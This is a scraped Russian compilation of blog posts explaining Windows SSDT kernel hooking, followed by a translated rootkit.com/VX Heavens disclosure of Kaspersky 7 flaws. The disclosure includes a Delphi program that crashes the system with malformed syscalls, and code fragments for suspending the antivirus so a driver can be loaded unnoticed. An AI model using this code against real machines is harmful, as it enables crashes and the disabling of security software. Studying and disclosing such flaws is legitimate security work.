Ssdt hook что это

Русские Блоги

SSDT_Hook технологии x64

SSDT_Hook технологии x64

тестовая среда:

Виртуальная машина: Windows 7 64bit

Инструмент загрузки диска

Калькулятор и диспетчер задач включены в систему

Идеи реализации:

Фактическая идея такая же, как и у win32. Обе заменяют адрес функции в таблице SSDT. Но Microsoft испугалась и пошла на хитрости с x64.

1. Получите базовый адрес таблицы системных служб.

2. Сохраните адрес функции, которой требуется перехватчик (фактически смещение).

3. Сделайте память доступной для записи, замените адрес Hook в таблице на адрес KeBugCheckEx и восстановите атрибуты памяти.

4.HookKeBugCheckEx, jmp на адрес нашей функции в начале.

5. Реализую самостоятельно функцию Hook и выполняю в ней обработку.

Адрес функции x64 для Hook: ServiceTableBase [индекс] >> 4 + ServiceTableBase

Здесь перехватывается NtOpenProcess, и порядковый номер экспорта равен 35. Когда процесс калькулятора завершается, завершать его запрещено.

При восстановлении Hook нет необходимости восстанавливать KeBugCheckEx, потому что эта функция должна выполняться при сбое синего экрана.

В этой статье мы не будем говорить о PG.

Ключевой код:

Получить базовый адрес сервисной таблицы

Получить адрес функции в таблице SSDT

HookKeBugCheckEx как прыжок

Эффект теста:

После PG загрузите драйвер, воспользуйтесь диспетчером задач, чтобы завершить сбой программы «калькулятор» и запросить «Доступ запрещен»

Ssdt hook что это. 18a7fd6ca8175b11d273b01470fe8cb3. Ssdt hook что это фото. Ssdt hook что это-18a7fd6ca8175b11d273b01470fe8cb3. картинка Ssdt hook что это. картинка 18a7fd6ca8175b11d273b01470fe8cb3

PCHunter64, и вы увидите, что драйвер перехватывает функцию NtOpenProcess.

Ssdt hook что это. e39e2f8c6e7c8db18a75979a4fca0df5. Ssdt hook что это фото. Ssdt hook что это-e39e2f8c6e7c8db18a75979a4fca0df5. картинка Ssdt hook что это. картинка e39e2f8c6e7c8db18a75979a4fca0df5

Ssdt hook что это. 6966791541bffab3d2572f92388c20be. Ssdt hook что это фото. Ssdt hook что это-6966791541bffab3d2572f92388c20be. картинка Ssdt hook что это. картинка 6966791541bffab3d2572f92388c20be

PS: Техническое содержание блога слишком велико. Я чувствую, что эти ямы трудно заполнить. Постарайтесь изо всех сил и постарайтесь изучить все технические аспекты. Но есть также вещи, которые нужно сделать, заполните ямы Скорость точно не быстрая.

Интеллектуальная рекомендация

Многослойная презентацияViewController Jap

Распечатать список с конца до головы

В случае, когда таблица цепи не может изменять дисплей, данные хранения стека могут рассматриваться с рекурсивным методом. Разрешить модификацию структуры ссылки.

Типы данных и переменные

тип данных Компьютерная программа может обрабатывать различные значения. Однако компьютеры могут обрабатывать гораздо больше, чем числовые значения. Они также могут обрабатывать различные данные, таки.

Ssdt hook что это. b2e45257039cdb8e71748bec23acf9bc. Ssdt hook что это фото. Ssdt hook что это-b2e45257039cdb8e71748bec23acf9bc. картинка Ssdt hook что это. картинка b2e45257039cdb8e71748bec23acf9bc

оглавление 1. Одно место 2. Случайное расположение 3. Добавьте баллы для оценки 4. Получение файла 5. Установите уровень сложности. 6. Срок завершения 7. Выберите заполнение пропусков. 1. Одно место Н.

Источник

Русские Блоги

Детали модификации таблицы ssdt

Подробное объяснение и применение технологии SSDT Hook

1. Введение в SSDT

1. Что такое SSDT

2. Структура SSDT

На следующем рисунке представлена ​​структура KeServiceDescriptorTable, экспортированная из ntoskrnl.exe, проанализированная IDA.

Ниже приводится конкретное значение KeServiceDescriptorTable.

Ssdt hook что это. 986f04c5f85729e68df8ecb2371b1118. Ssdt hook что это фото. Ssdt hook что это-986f04c5f85729e68df8ecb2371b1118. картинка Ssdt hook что это. картинка 986f04c5f85729e68df8ecb2371b1118

3. Полный процесс выполнения прикладного уровня, вызывающего Win32 API.

Используя вышеупомянутую основу SSDT, давайте рассмотрим полный процесс вызова Win32 API (здесь в основном относится к API в ntdll.dll) на уровне приложения. Здесь мы в основном анализируем NtQuerySystemInformation API в ntdll.dll Назовите процесс.

(PS: Диспетчер задач Windows использует этот API для получения информации о процессах системы и т. Д.).

Ssdt hook что это. 8e9129c2eb8920aebb2dc7ae0fd374e6. Ssdt hook что это фото. Ssdt hook что это-8e9129c2eb8920aebb2dc7ae0fd374e6. картинка Ssdt hook что это. картинка 8e9129c2eb8920aebb2dc7ae0fd374e6

Затем дайте базовый процесс вызова этих API

Ssdt hook что это. e590a52da89bcdebb83b2c4b57a0acc0. Ssdt hook что это фото. Ssdt hook что это-e590a52da89bcdebb83b2c4b57a0acc0. картинка Ssdt hook что это. картинка e590a52da89bcdebb83b2c4b57a0acc0

Давайте посмотрим на ZwQuerySystemInformation в ntoskrnl.exe:

Ssdt hook что это. 0a00a1a6b525c3e2a9a2f4fc0b3b73e8. Ssdt hook что это фото. Ssdt hook что это-0a00a1a6b525c3e2a9a2f4fc0b3b73e8. картинка Ssdt hook что это. картинка 0a00a1a6b525c3e2a9a2f4fc0b3b73e8

На скриншоте выше вы можете видеть, что ZwQuerySystemInformation под Ring0 помещает 0ADh в регистр eax, а затем вызывает функцию распределения системных служб KiSystemService, и эта функция KiSystemService основана на значении индекса в регистре eax, а затем Затем найдите элемент SSDT, значение индекса которого хранится в регистре eax в массиве SSDT, и, наконец, вызовите системную службу в соответствии с адресом системной службы, хранящимся в этом элементе SSDT. Например, здесь можно вызвать системную службу, соответствующую адресу, сохраненному в KeServiceDescriptorTable [0ADh]. То есть вызывается NtQuerySystemInformation под Ring0. На этом весь процесс вызова NtQuerySystemInformation на уровне приложения завершен.

Во-вторых, принцип SSDT Hook

1. Введение в принцип SSDT Hook

Используя приведенную выше часть основы, вы можете взглянуть на принцип SSDT HOOK. На самом деле, принцип SSDT Hook очень прост. Из приведенного выше анализа мы можем узнать, что массив SSDT хранит системные службы Адрес, например адрес системной службы NtQuerySystemInformation в Ring0, сохраняется в KeServiceDescriptorTable [0ADh]. Поскольку это Hook, мы можем заменить адрес службы, сохраненный в KeServiceDescriptorTable [0ADh], и заменить наш собственный Hook Замените исходный адрес на адрес функции обработки, чтобы наша собственная функция обработки Hook вызывалась каждый раз при вызове KeServiceDescriptorTable [0ADh].

Снимок экрана ниже перед SSDT Hook:

Ssdt hook что это. c10c2f1640d08e5c7a6952ba9067ce4c. Ssdt hook что это фото. Ssdt hook что это-c10c2f1640d08e5c7a6952ba9067ce4c. картинка Ssdt hook что это. картинка c10c2f1640d08e5c7a6952ba9067ce4c

Снимок экрана ниже после SSDT Hook, вы можете видеть, что адрес службы в SSDT был изменен на MyHookNtQuerySystemInformation. В этом случае каждый раз, когда система вызывает системную службу NtQuerySystemInformation, она по существу вызывает MyHookNtQuerySystemInformation, и мы хотим, чтобы система Стабильность системы (по крайней мере, чтобы не дать ей сбой), исходная служба в системе обычно вызывается в MyHookNtQuerySystemInformation, то есть NtQuerySystemInformation.

Ssdt hook что это. cd7ee6a6f04a1fbf0ac9e18131d2f49b. Ssdt hook что это фото. Ssdt hook что это-cd7ee6a6f04a1fbf0ac9e18131d2f49b. картинка Ssdt hook что это. картинка cd7ee6a6f04a1fbf0ac9e18131d2f49b

Давайте посмотрим на конкретный код для резервного копирования, изменения и восстановления SSDT:

Источник

Русские Блоги

SSDT-HOOK

SSDT-HOOK процесс защиты

Экспериментальная среда: виртуальная машина win7
В этом примере выполняется SSDT-HOOK на уровне ядра для реализации функции защиты процесса.

Но на самом деле система имеет 4 дескриптора системных сервисов, 2 из которых являются двумя вышеупомянутыми таблицами, а остальные 2 не используются и могут быть зарезервированы для будущего использования. Они представлены следующей структурой:

Набери номер

При входе в кольцо 0 номер вызова передается с помощью eax, но этот номер вызова не является просто обычным номером в качестве порядкового номера. Система будет использовать 32-битные данные для его представления и разделения в формате 19: 1: 12 следующим образом:
Ssdt hook что это. 27043c9334d6cb6a20f5219f90323a71. Ssdt hook что это фото. Ssdt hook что это-27043c9334d6cb6a20f5219f90323a71. картинка Ssdt hook что это. картинка 27043c9334d6cb6a20f5219f90323a71
Проанализируйте младшие 12 битов 0-11, чтобы сформировать действительный индексный номер, 12-й бит представляет номер таблицы услуг, а 13-31 биты не используются.
После входа в ядро ​​вызываемая таблица определяется 12-м битом номера вызова. Если он равен 0, будет вызвана таблица SSDT, а если 1, то будет вызвана таблица ShadowSSDT.

Если вы хотите перехватить таблицу SSDT, вы должны сначала найти таблицу SSDT, которую можно найти через служебную таблицу. Сервисная таблица существует в поле со смещением 0xbc структуры KTHREAD. Для просмотра вы можете использовать windbg для отладки на двух компьютерах, введите dt _kthread Затем найдите поле со смещением 0xbc
Ssdt hook что это. cf81f7a469d4677e2a382b3047b96073. Ssdt hook что это фото. Ssdt hook что это-cf81f7a469d4677e2a382b3047b96073. картинка Ssdt hook что это. картинка cf81f7a469d4677e2a382b3047b96073
Ssdt hook что это. e5bab3a29f067d3d7607946b8d6534d0. Ssdt hook что это фото. Ssdt hook что это-e5bab3a29f067d3d7607946b8d6534d0. картинка Ssdt hook что это. картинка e5bab3a29f067d3d7607946b8d6534d0
По-прежнему необходимо объяснить, что структура KTHREAD недокументирована, поэтому данные в ней могут отличаться в зависимости от версии системы. Смещение каждого поля может быть разным, поэтому перед использованием лучше использовать windbg. Подтвердите необходимое смещение поля.

Используйте функцию PsGetCurrentThread (), чтобы получить первый адрес текущего KTHREAD.
Но следует отметить, что атрибут страницы памяти, на которой расположена таблица SSDT, доступен только для чтения и не имеет разрешения на запись, поэтому нам нужно сделать адрес доступным для записи, чтобы вместо этого мы могли писать себе Функция.
Я использую регистр CR0, чтобы закрыть атрибут только для чтения
кратко представьте регистр CR0:
Ssdt hook что это. 92f14d26a38c0c03e0174e869d9fdbf6. Ssdt hook что это фото. Ssdt hook что это-92f14d26a38c0c03e0174e869d9fdbf6. картинка Ssdt hook что это. картинка 92f14d26a38c0c03e0174e869d9fdbf6
Как видите, здесь используется 32-битный регистр, а в регистре CR0 мы сосредоточены на трех битах флага:
Если PE включает режим защиты, установите для него значение 1, чтобы включить его.
Независимо от того, использует ли PG режим подкачки, для включения режима подкачки установите значение 1. Если этот флаг установлен на 1, флаг PE также должен быть установлен на 1, в противном случае ЦП сообщает об исключении.
WP Когда WP равен 1, страницы памяти только для чтения не могут быть изменены, а когда WP равен 0, страницы памяти только для чтения могут быть изменены.
Итак, при выполнении HOOK, пока позиция WP в регистре CR0 равна 0, в память можно записывать.
Код операции следующий

Конечно, вы должны вернуть атрибут защиты только для чтения после использования, иначе это приведет к непредсказуемым серьезным последствиям.

На основе приведенного выше анализа теперь вы можете написать код для установки перехвата ядра:

Взгляните на функцию MyZwOpenProcess, написанную вами, найдите процесс, который нужно защитить, сравнив PID, и при доступе с разрешением конечного процесса PROCESS_TERMINATE (0x1) измените разрешение на 0, чтобы сделать его недоступным. Для достижения цели защиты процесса.

Источник

Русские Блоги

Технология HOOK: SSDT HOOK (x86)

Перед выполнением SSDT Hook мы должны сначала понять концепцию и функцию SSDT.
SSDT:
Таблица дескрипторов системных служб, которая является KeServiceDescriptorTable в ядре. Эта таблица является связующим звеном между Win32 API для ring3 и API ядра для ring0. SSDT не только содержит огромную таблицу индексов адресов, но также содержит некоторую другую полезную информацию, такую ​​как базовый адрес индекса адреса и количество сервисных функций.
(После того, как функция API уровня Ring3 входит в уровень ядра, каждый номер вызова соответствует функции ядра. По этой причине Windows разработала таблицу, в которой номер вызова используется в качестве серийного номера для поиска функции. Ядро Windows вызывает эту таблицу адресов функций: Таблица дескрипторов системной службы (SSDT)

Ssdt hook что это. 5a6ffe8db9071710b47533eb3e7c026a. Ssdt hook что это фото. Ssdt hook что это-5a6ffe8db9071710b47533eb3e7c026a. картинка Ssdt hook что это. картинка 5a6ffe8db9071710b47533eb3e7c026a
Структура таблицы SSDT следующая:

0x00 Принцип реализации

Нам известна роль таблицы SSDT, приведенной выше, поэтому мы хотим выполнить SSDT HOOK, пока мы находим реальный адрес реализации функции в соответствии с индексом, а затем заменяем этот адрес функции на адрес нашей собственной функции, мы можем завершить HOOK. Например, мы знаем, что индекс ZwOpenProcess равен 0xbe, мы можем найти адрес функции через 0xbe, а затем изменить ловушку.

Используйте рассказ из книги Путешествие на Запад, чтобы проиллюстрировать функцию SSDT HOOK:

0x01 процесс реализации

1. Найдите адрес функции по индексу.
2. Сохраните исходный адрес функции (потому что, когда драйвер удаляется, мы должны восстанавливать его снова)
3. Замените адрес собственным адресом функции.

Сначала мы используем индекс 0BEh, чтобы найти функцию ZwOpenProcess.

Затем найдите соответствующий адрес функции в таблице SSDT.

Затем замените адрес на адрес функции, реализованной вами:

Метод изменения атрибута защиты от записи в память следующий:

Источник

Черные ходы Касперского 6/7

Перевод статьи с сайта rootkit.com
Ssdt hook что это. 9f8b65cfaf355637126ce978180ce409. Ssdt hook что это фото. Ssdt hook что это-9f8b65cfaf355637126ce978180ce409. картинка Ssdt hook что это. картинка 9f8b65cfaf355637126ce978180ce409
Преамбула

Антивирус Касперского — один из наиболее технически развитых антивирусов на сегодняшний день. Он даже может бороться с некоторыми типами руткитов, даже когда они живы и пытаются атаковать.

Он имеет Модуль Проактивной Защиты (Proactive Defence), представляющий из себя частичную реализацию HIPS, способную, в теории, защитить компьютер от неизвестных угроз, анализируя поведение программ и предотвращая несанкционированные действия.

Это всё теория и рекламные слоганы. В реальности же мы имеем совсем другую ситуацию. Существует много руткитов, которые вообще не обнаруживаются антивирусом, а его проактивная защита может быть подавлена таким образом, что атакующий может загрузить свой драйвер, после чего любая проактивная защита просто бесполезна.

Эта статья — не просто обзор ошибок и уязвимостей — в конце каждой части мы даём рекомендации разработчикам антивируса, потому что мы видим, что они не могут разобраться с этими ошибками самостоятельно. И для приверженцев сразу оговорка: конечно, все, что написано ниже — не критические уязвимости, нет-нет =) Всего лишь несколько простых методов получить BSOD при установленном KAV/KIS даже из под гостевого аккаунта, всего лишь методы обхода KAV/KIS… и так далее, в общем не принимайте слишком близко к сердцу.

Версия Касперского, про который пойдёт речь в этой статье — 7.0, последний публичный билд 125, тип продукта — Internet Security.

Касперский и System Service Descriptor Table

Эта часть антивируса давно известна, как самая уязвимая. Таковой она является из-за того, что содержит множество элементарных ошибок. Ошибки эти — ещё один пример плохо написанной проактивной защиты.

Под Windows XP Антивирус Касперского добавляет службы в таблицу SSDT. Множество служб, которые существуют лишь под Windows 2003. Их номера — от 284 до 296. Около 13 неизвестных записей с адресами внутри klif.sys.

ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BD80 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BD90 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BDA0 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BDC0 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BDE0 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BE10 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BE20 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BE40 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BE50 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BF10 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809BFE0 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809C020 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]
ntkrnlpa.exe—>UNKNOWN_SSDT_ENTRY, 0xF809C060 hook handler located in [C:\WINDOWS\system32\drivers\klif.sys]

Что это? Совершенно непонятно. Однако похоже, что разработчики KAV добавляют их, чтобы решить проблему с разным количеством записей в таблице SSDT под Windows XP и 2003. Почему это было сделано именно так — вопрос третий.

А теперь внимание: любая из этих записей может быть взломана с последующим крахом системы в BSOD даже из под гостевой учётной записи с минимальными привилегиями. Мы написали маленькую программу. Она генерирует некорректные системные вызовы с некорректными параметрами для этих таинственных записей в SSDT. Код очень простой, но эффективный. Выполнение его на чистой Windows не приведёт ни к чем, потому что сама Windows обрабатывает такие ситуации верно.

var
Services: array[0..12] of ULONG;
ThreadTerminated: boolean = false;
ExecThread: THANDLE;

function MakeSysCall(SysCallNumber: integer; const Stack: PDWORD): DWORD; stdcall;
asm
mov eax, SysCallNumber
mov edx, Stack
int 2eh
mov Result,eax
end;

function exec(p1: pointer): DWORD; stdcall;
var
i: integer;
p2: DWORD;
p3: DWORD;
begin
randomize();
u := 0;
for i := 0 to 12 do Services[i] := 284 + i;
while not ThreadTerminated do
begin
p2 := random($FFFFFFFF);
p3 := Services[random(12)];
MakeSysCall(p3, @p2);
Sleep(100);
end;
CloseHandle(ExecThread);
ExecThread := 0;
result := 0;
end;

var
p2: DWORD;
begin
ThreadTerminated := false;
ExecThread := CreateThread(nil, 0, @exec, nil, 0, p2);
end;

Результат выполнения: Kaspersky Internet Security v7.0 125 build

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: e0ae15f9, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: f8087e8c, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)

Но и это еще не всё!
Не смотря на сообщения о существующих уязвимостях в SSDT разработчики Касперского до сих пор не исправили их!
Мы можем доказать это простой программой под названием NTCALL. После старта она начинает генерировать некорректные системные вызовы.

NtCreateSection — вызов этой функции с неверными параметрами приведет к BSOD в klif.sys.
Вот он наш BSOD:

KERNEL_MODE_EXCEPTION_NOT_HANDLED_M (1000008e)
This is a very common bugcheck. Usually the exception address pinpoints
the driver/function that caused the problem. Always note this address
as well as the link date of the driver/image that contains this address.
Some common problems are exception code 0x80000003. This means a hard
coded breakpoint or assertion was hit, but this system was booted
/NODEBUG. This is not supposed to happen as developers should never have
hardcoded breakpoints in retail code, but…
If this happens, make sure a debugger gets connected, and the
system is booted /DEBUG. This will let us see why this breakpoint is
happening.
Arguments:
Arg1: c0000005, The exception code that was not handled
Arg2: 805883ea, The address that the exception occurred at
Arg3: f669a95c, Trap Frame
Arg4: 00000000

Что тут можно сказать. Пора прекращать извращаться с SSDT и писать нормальные обработчики для записей SSDT. Возьмите лучше и спросите Олега Зайцева, как правильно устанавливать хуки в SSDT 😉

Касперский и Теневая SSDT (Shadow SSDT)

Теневая SSDT — это специальная таблица в win32k.sys, которая содержит адреса системных функций, связанных с отображением пользовательского графического интерфейса (GDI). Касперский устанавливает здесь хуки на некоторые службы чтобы предотвратить работу клавиатурных шпионов и для самозащиты.

И опять же хуки установлены плохо.

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: e1f83004, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: f9417eee, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000001, (reserved)

Для этой части рекомендации просты — запустите свой драйвер под отладчиком.

ведёт к Acces Violation и это нормально, потому что мы использовали некорректный параметр для функции, но то что НЕнормально — это где возникает Acess Violation, по адресу — 0xF80B3306.
Это не шутка — 0xF80B3306. В процессах ядра! А если быть точнее — в klif.sys.

Давайте посмотрим, что происходит.

Мы обнаружили сильную модификацию IAT(1, 2) для каждого процесса в системе. Смотрите что происходит с explorer.exe

[420]explorer.exe—>kernel32.dll—>LoadLibraryExA, Type: IAT Modification at address 0x010010A8—>7C882FB0 hook handler located in [kernel32.dll]
[420]explorer.exe—>kernel32.dll—>LoadLibraryExW, Type: IAT Modification at address 0x010010F8—>7C882FD8 hook handler located in [kernel32.dll]
[420]explorer.exe—>kernel32.dll—>LoadLibraryA, Type: IAT Modification at address 0x01001150—>7C882F9C hook handler located in [kernel32.dll]
[420]explorer.exe—>kernel32.dll—>LoadLibraryW, Type: IAT Modification at address 0x010011D0—>7C882FC4 hook handler located in [kernel32.dll]
[420]explorer.exe—>kernel32.dll—>GetProcAddress, Type: IAT Modification at address 0x010011E4—>7C882FEC hook handler located in [kernel32.dll]

Странно, не так ли? Давайте отследим вызов LoadLibraryA.

push ebp
mov ebp, esp
nop
pop ebp
jmp +$7b830b4a //- перенаправление в klif.sys
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Если вы инсталлируете этот антивирус себе на компьютер, вы (какая ирония!) открываете его для дополнительных уязвимостей и бэкдоров, созданных благодаря Антивирусу Касперского! Смех, да и только.

Антивирус Касперского и самозащита

Как большинство из вас знает, Антивирус Касперского активно защищает самого себя против атак. Его процессы защищены от несанкционированного доступа и от уничтожения зловредными программами. Но вопрос: насколько хорошо они защищены?

Касперский устанавливает несколько хуков в SSDT (т.е. NtOpenProcess, NtOpenThread, NtTerminateProcess и т.д) и несколько хуков в Теневой SSDT (NtUserFindWindowEx, NtUserBuildHwndList и т.д.) чтобы дополнительно защитить себя от атак.

Ответ прост — загрузить драйвер, после этого мы будем вне зоны интересов KAV. Но сначала нам нужно его приостановить, чтобы получить такую возможность, не правда ли? Не совсем. Существует как минимум три метода, с помощью которых можно тихо загрузить драйвер без малейшей реакции со стороны Проактивной Защиты Касперского 7.0. И я уверен что существуют еще методы. В нашем случае мы просто приостановим (suspend) все потоки (threads) процессов Антивируса Касперского; просто приостановим, ничего более — этого достаточно.

Мы не можем обращаться к процессам Касперского напрямую, потому что владельцем SSDT является PDM. Так что самое время использовать «любимый» бэкдор-процесс по имени csrss.exe 🙂

В этом примере мы априори предполагаем что KAV приложение названо avp.exe и csrss.exe существует в одном экземпляре (LOL, да, если у вас есть вредоносные программы, работающие на ring3 и маскирующиеся как csrss.exe, то с этим кодом будут определённые проблемы).


pBuffer.dwSize := sizeof(PROCESSENTRY32W);
SnapShotHandle := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);

if (ZwOpenProcess(@ph, PROCESS_ALL_ACCESS, @attr, @cid1) <> STATUS_SUCCESS) then exit;

ZwAllocateVirtualMemory(GetCurrentProcess(), buf, 0, @bytesIO, MEM_COMMIT, PAGE_READWRITE);
ZwQuerySystemInformation(SystemHandleInformation, buf, 4194304, @bytesIO);
весь текст программы.

После этого оба испольняемых модуля Касперского будут приостановлены и мы можем загрузить драйвера и сделать свою работу тихо =)

Протестировано на KIS v7.0 build 125 с настройками по умолчанию.
Windws XP SP2, права администратора.

Мы рекомендуем ЛК пройти в HANDLE_TABLE и изменить права доступа для хендлеров своих процессов. Плюс самое время улучшить хук на NtDuplicateObject.

Вы наверное сейчас спрашиваете себя, почему такие очевидные ошибки — действительно чёрные ходы до сих пор существуют в одном из самых популярных антивирусов? Да потому что кто-то должен хорошенько дать под зад Лаборатории Касперского.

Дорогие разработчики Лаборатории Касперского, ваш антивирус весьма хорош, об этом спору нет, но возможно пришло время поправить эти баги? Убрать извращения с SSDT/IAT. Тщательнее обработывать критические ситуации в своём драйвере. Нет серьёзно, а что не так? Смотря на klif.sys я вижу только одно — большой, глючный драйвер.

Кстати, в некотором роде неофициальную реакцию от Лаборатории Касперского на наш предыдущий обзор klif.sys вы можете прочитать в этой чудесной статье, которая содержит несколько абсурдных утверждений и не несущих смысла комментариев. В нескольких словах: автор этой статьи частично обвинил нас в публикации информации про уязвимости в их старых и новых продуктах.

Статья на русском, но я уверен вы сможете найти английский вариант.

Have fun,
от VX heavens
EP_X0FF/UG North

Ssdt hook что это. 649fc7b8e2be4a36787ef699f73ad9d8. Ssdt hook что это фото. Ssdt hook что это-649fc7b8e2be4a36787ef699f73ad9d8. картинка Ssdt hook что это. картинка 649fc7b8e2be4a36787ef699f73ad9d8
smartov: Цитата из статьи, про которую они говорят в конце

В последние годы чрезвычайно актуальна следующая ситуация. Некто из среды киберпреступников (или «исследователей», прикрывающихся белыми шляпами) разрабатывает концепт кода, обходящего современные средства защиты, и в целях самопиара, замаскированного под заботу о прогрессе, публикует его как «недетектируемый». Подчеркнем: разумеется, на деле такой концепт является не принципиально недетектируемым, а недетектируемым на уровне одно-двухшагового обхода известных функций средств защиты. Сделать такой одношаговый обход достаточно просто, если известны механизмы защиты.

Подобные публикации заставляют беспокоиться определенный процент пользователей, не знакомых с принципами работы вредоносных программ и антивирусов («А защищает ли мое антивирусное средство от этого нового типа угроз?). В такой ситуации производителям средств защиты остается только бросить долю ресурсов на восстановление своего авторитета: на разработку технологий обхода описанного концепта, обычно таких же, как и сам концепт — одношаговых. В итоге авторитет восстанавливается (а как же иначе?), система «вредоносная программа — антивирус — пользователь» приходит в изначальное состояние, и процесс замыкается в цикл. Каждая новая его итерация порождает все более изощренные вредоносные программы и все более тяжеловесные средства защиты.

Как было в КВН: «Отличный план!». Такие себе бяки публикуют уязвимости, а из-за этого бедным-несчастным производителям антивирусов приходится оторваться от стрижки капусты разработки нового улучшенного пользовательского интерфейса и заняться их устранением.

Источник

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *